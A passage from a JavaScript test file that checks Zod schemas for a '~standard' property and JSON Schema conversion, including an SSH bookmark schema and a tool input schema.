expect(z.number()['~standard']).toBeTruthy()
expect(z.boolean()['~standard']).toBeTruthy()
expect(z.any()['~standard']).toBeTruthy()
expect(z.enum(['a'])['~standard']).toBeTruthy()
expect(z.object({})['~standard']).toBeTruthy()
expect(z.array(z.string())['~standard']).toBeTruthy()
expect(z.record(z.any())['~standard']).toBeTruthy()
})
it('optional/describe clones preserve ~standard', function () {
const schema = z.string().optional().describe('test')
expect(schema['~standard']).toBeTruthy()
})
})
describe('bookmark-zod-schemas compatibility', function () {
it('can build the full SSH bookmark schema and convert to JSON', function () {
const runScriptSchema = z.object({
delay: z.number().optional().describe('Delay in ms'),
script: z.string().describe('Command to execute')
})
const sshBookmarkSchema = {
title: z.string().describe('Bookmark title'),
host: z.string().describe('SSH host address'),
port: z.number().optional().describe('SSH port'),
username: z.string().optional().describe('SSH username'),
password: z.string().optional().describe('SSH password'),
authType: z.enum(['password', 'privateKey', 'profiles']).optional().describe('Auth type'),
runScripts: z.array(runScriptSchema).optional().describe('Run scripts'),
serverHostKey: z.array(z.string()).optional().describe('Server host key algorithms'),
x11: z.boolean().optional().describe('Enable x11 forwarding')
}
const jsonSchema = z.toJSONSchema(z.object(sshBookmarkSchema))
expect(jsonSchema.type).toEqual('object')
expect(jsonSchema.properties.title.type).toEqual('string')
expect(jsonSchema.properties.host.type).toEqual('string')
expect(jsonSchema.properties.port.type).toEqual('number')
expect(jsonSchema.properties.authType.enum).toEqual(['password', 'privateKey', 'profiles'])
expect(jsonSchema.properties.runScripts.type).toEqual('array')
expect(jsonSchema.properties.runScripts.items.properties.script.type).toEqual('string')
expect(jsonSchema.properties.serverHostKey.type).toEqual('array')
expect(jsonSchema.properties.serverHostKey.items.type).toEqual('string')
expect(jsonSchema.properties.x11.type).toEqual('boolean')
expect(jsonSchema.required).toContain('title')
expect(jsonSchema.required).toContain('host')
expect(jsonSchema.required).not.toContain('port')
expect(jsonSchema.required).not.toContain('x11')
})
})
describe('streamableHttp zodToJsonSchema compatibility', function () {
it('handles plain shape objects with ~standard check', function () {
const inputSchema = {
tabId: z.string().describe('Tab ID'),
lines: z.number().optional().describe('Number of lines')
}
// This mimics the check in streamableHttp.js
const hasZodStandard = Object.values(inputSchema).some(
v => v && typeof v === 'object' && '~standard' in v
)
expect(hasZodStandard).toEqual(true)
// Wrap in z.object and convert
const zodObject = z.object(
Object.fromEntries(
Object.entries(inputSchema).map(([key, value]) => [key, value])
)
)
const jsonSchema = z.toJSONSchema(zodObject)
expect(jsonSchema.type).toEqual('object')
expect(jsonSchema.properties.tabId.type).toEqual('string')
expect(jsonSchema.properties.lines.type).toEqual('number')
})
it('handles z.object({}) inputSchema', function () {
const inputSchema = z.object({})
const hasStandard = '~standard' in inputSchema
expect(hasStandard).toEqual(true)
const jsonSchema = z.toJSONSchema(inputSchema)
expect(jsonSchema.type).toEqual('object')
})
})
})